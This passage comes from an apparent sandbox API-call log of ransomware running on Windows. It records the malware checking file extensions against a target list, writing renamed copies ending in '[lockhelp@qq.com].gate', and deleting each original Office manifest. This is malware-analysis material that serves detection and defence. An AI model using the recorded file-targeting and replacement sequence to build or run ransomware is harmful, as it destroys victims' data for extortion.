lpNewFilePointer=0x0) returned 1 [0117.114] SetEndOfFile (hFile=0x364) returned 1 [0117.116] CloseHandle (hObject=0x364) returned 1 [0117.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0117.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1 [0117.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0117.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0117.117] lstrlenW (lpString=".doc") returned 4 [0117.117] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.117] lstrlenW (lpString=".docx") returned 5 [0117.117] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0117.117] lstrlenW (lpString=".pdf") returned 4 [0117.117] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.117] lstrlenW (lpString=".xls") returned 4 [0117.117] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.117] lstrlenW (lpString=".xlsx") returned 5 [0117.117] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0117.117] lstrlenW (lpString=".ppt") returned 4 [0117.117] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0117.117] lstrlenW (lpString=".zip") returned 4 [0117.117] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.117] lstrlenW (lpString=".rar") returned 4 [0117.117] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.117] lstrlenW (lpString=".bz2") returned 4 [0117.117] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.117] lstrlenW (lpString=".7z") returned 3 [0117.117] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0117.117] lstrlenW (lpString=".dbf") returned 4 [0117.117] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0117.118] lstrlenW (lpString=".1cd") returned 4 [0117.118] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0117.118] lstrlenW (lpString=".jpg") returned 4 [0117.118] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0117.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0117.118] lstrlenW (lpString=".doc") returned 4 [0117.118] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.118] lstrlenW (lpString=".docx") returned 5 [0117.118] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0117.118] lstrlenW (lpString=".pdf") returned 4 [0117.118] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.118] lstrlenW (lpString=".xls") returned 4 [0117.118] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.118] lstrlenW (lpString=".xlsx") returned 5 [0117.118] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0117.118] lstrlenW (lpString=".ppt") returned 4 [0117.118] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0117.118] lstrlenW (lpString=".zip") returned 4 [0117.118] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.118] lstrlenW (lpString=".rar") returned 4 [0117.118] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.118] lstrlenW (lpString=".bz2") returned 4 [0117.119] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.119] lstrlenW (lpString=".7z") returned 3 [0117.119] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0117.119] lstrlenW (lpString=".dbf") returned 4 [0117.119] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0117.119] lstrlenW (lpString=".1cd") returned 4 [0117.119] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0117.119] lstrlenW (lpString=".jpg") returned 4 [0117.119] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.119] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0117.119] lstrlenW (lpString="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 53 [0117.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0117.120] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=1261) returned 1 [0117.120] CloseHandle (hObject=0x364) returned 1 [0117.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0x220 [0117.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0117.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0117.120] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0117.120] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0117.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0117.121] GetLastError () returned 0x0 [0117.121] ReadFile (in: hFile=0x364, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x4ed, lpOverlapped=0x0) returned 1 [0117.203] WriteFile (in: hFile=0x308, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x4f0, lpOverlapped=0x0) returned 1 [0117.204] ReadFile (in: hFile=0x364, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0117.204] WriteFile (in: hFile=0x308, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x13e, lpOverlapped=0x0) returned 1 [0117.205] SetEndOfFile (hFile=0x308) returned 1 [0117.205] CloseHandle (hObject=0x308) returned 1 [0117.207] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0117.207] SetEndOfFile (hFile=0x364) returned 1 [0117.208] CloseHandle (hObject=0x364) returned 1 [0117.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0117.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1 [0117.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0117.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0117.209] lstrlenW (lpString=".doc") returned 4 [0117.209] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.209] lstrlenW (lpString=".docx") returned 5 [0117.209] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0117.209] lstrlenW (lpString=".pdf") returned 4 [0117.209] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.209] lstrlenW (lpString=".xls") returned 4 [0117.209] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.209] lstrlenW (lpString=".xlsx") returned 5 [0117.209] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0117.209] lstrlenW (lpString=".ppt") returned 4 [0117.209] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0117.209] lstrlenW (lpString=".zip") returned 4 [0117.209] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.209] lstrlenW (lpString=".rar") returned 4 [0117.209] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.209] lstrlenW (lpString=".bz2") returned 4 [0117.209] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.209] lstrlenW (lpString=".7z") returned 3 [0117.209] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0117.209] lstrlenW (lpString=".dbf") returned 4 [0117.209] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0117.209] lstrlenW (lpString=".1cd") returned 4 [0117.209] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0117.210] lstrlenW (lpString=".jpg") returned 4 [0117.210] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0117.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0117.210] lstrlenW (lpString=".doc") returned 4 [0117.210] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.210] lstrlenW (lpString=".docx") returned 5 [0117.210] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0117.210] lstrlenW (lpString=".pdf") returned 4 [0117.210] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.210] lstrlenW (lpString=".xls") returned 4 [0117.210] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.210] lstrlenW (lpString=".xlsx") returned 5 [0117.210] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0117.210] lstrlenW (lpString=".ppt") returned 4 [0117.210] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0117.210] lstrlenW (lpString=".zip") returned 4 [0117.210] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.210] lstrlenW (lpString=".rar") returned 4 [0117.210] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.210] lstrlenW (lpString=".bz2") returned 4 [0117.210] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.210] lstrlenW (lpString=".7z") returned 3 [0117.211] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0117.211] lstrlenW (lpString=".dbf") returned 4 [0117.211] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0117.211] lstrlenW (lpString=".1cd") returned 4 [0117.211] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0117.211] lstrlenW (lpString=".jpg") returned 4 [0117.211] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.211] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0117.211] lstrlenW (lpString="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 53 [0117.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0117.212] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=496513) returned 1 [0117.212] CloseHandle (hObject=0x364) returned 1 [0117.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0x220 [0117.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0117.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0117.213] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0117.213] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0117.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0117.213] GetLastError () returned 0x0 [0117.213] ReadFile (in: hFile=0x364, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x79381, lpOverlapped=0x0) returned 1 [0118.065] WriteFile (in: hFile=0x308, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x79390, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x79390, lpOverlapped=0x0) returned 1 [0118.072] ReadFile (in: hFile=0x364, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0118.073] WriteFile (in: hFile=0x308, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x13e, lpOverlapped=0x0) returned 1 [0118.073] SetEndOfFile (hFile=0x308) returned 1 [0119.473] CloseHandle (hObject=0x308) returned 1 [0119.481] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0119.481] SetEndOfFile (hFile=0x364) returned 1 [0119.485] CloseHandle (hObject=0x364) returned 1 [0119.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0119.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 1 [0119.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0119.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0119.702] lstrlenW (lpString=".doc") returned 4 [0119.702] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0119.702] lstrlenW (lpString=".docx") returned 5 [0119.702] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0119.703] lstrlenW (lpString=".pdf") returned 4 [0119.703] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0119.703] lstrlenW (lpString=".xls") returned 4 [0119.703] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0119.703] lstrlenW (lpString=".xlsx") returned 5 [0119.703] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0119.703] lstrlenW (lpString=".ppt") returned 4 [0119.703] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0119.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0119.703] lstrlenW (lpString=".zip") returned 4 [0119.703] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0119.703] lstrlenW (lpString=".rar") returned 4 [0119.703] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0119.703] lstrlenW (lpString=".bz2") returned 4 [0119.703] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0119.703] lstrlenW (lpString=".7z") returned 3 [0119.703] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0119.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0119.703] lstrlenW (lpString=".dbf") returned 4 [0119.703] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0119.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0119.703] lstrlenW (lpString=".1cd") returned 4 [0119.703] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0119.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0119.703] lstrlenW (lpString=".jpg") returned 4 [0119.703] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0119.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0119.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0119.704] lstrlenW (lpString=".doc") returned 4 [0119.704] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0119.704] lstrlenW (lpString=".docx") returned 5 [0119.704] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0119.704] lstrlenW (lpString=".pdf") returned 4 [0119.704] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0119.704] lstrlenW (lpString=".xls") returned 4 [0119.704] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0119.704] lstrlenW (lpString=".xlsx") returned 5 [0119.704] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0119.704] lstrlenW (lpString=".ppt") returned 4 [0119.704] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0119.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0119.704] lstrlenW (lpString=".zip") returned 4 [0119.704] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0119.704] lstrlenW (lpString=".rar") returned 4 [0119.704] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0119.704] lstrlenW (lpString=".bz2") returned 4 [0119.704] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0119.704] lstrlenW (lpString=".7z") returned 3 [0119.704] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0119.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0119.704] lstrlenW (lpString=".dbf") returned 4 [0119.704] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0119.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0119.704] lstrlenW (lpString=".1cd") returned 4 [0119.705] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0119.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0119.705] lstrlenW (lpString=".jpg") returned 4 [0119.705] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0119.705] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0119.705] lstrlenW (lpString="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 53 [0119.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0124.319] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=19451) returned 1 [0124.319] CloseHandle (hObject=0x320) returned 1 [0124.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0x220 [0124.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0124.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0124.321] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0124.322] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0124.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0124.328] GetLastError () returned 0x0 [0124.328] ReadFile (in: hFile=0x320, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: 